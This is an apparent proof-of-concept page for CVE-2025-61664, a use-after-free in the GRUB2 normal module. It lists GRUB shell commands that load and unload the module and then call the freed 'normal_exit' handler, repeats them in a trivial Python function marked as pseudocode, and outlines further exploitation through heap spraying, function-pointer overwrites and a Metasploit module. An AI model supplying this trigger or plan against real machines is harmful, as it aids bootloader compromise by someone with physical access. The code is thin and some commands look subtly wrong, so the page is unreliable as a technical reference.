CVE-2025-61664: GRUB2 normal模块Use After Free漏洞

# CVE-2025-61664 PoC - GRUB2 normal_exit Use After Free # This PoC demonstrates the UAF condition in GRUB2 normal module # Note: This requires physical access to the system during boot # Steps to reproduce: # 1. Boot into GRUB2 shell # 2. Load the normal module # 3. Unload the normal module # 4. Attempt to execute normal_exit command # GRUB shell commands: # # Load normal module # insmod normal # # Unload normal module (this should trigger UAF on normal_exit) # unload normal # # This will attempt to execute normal_exit which now points to freed memory # normal_exit # In a real exploitation scenario, an attacker would: # 1. Have local/physical access to the system # 2. Modify GRUB configuration to enter shell during boot # 3. Trigger the UAF condition # 4. Potentially achieve code execution via heap manipulation def trigger_uaf_condition(): """ Pseudocode for triggering the UAF condition This would be executed through GRUB shell interface """ commands = [ "insmod normal", # Load normal module "unload normal", # Unload module (UAF occurs here) "normal_exit" # Call freed command handler ] return commands # For metasploit module development, the exploitation would involve: # 1. Heap spraying in GRUB2 environment # 2. Precise timing to control freed memory contents # 3. Overwriting function pointers in the command structure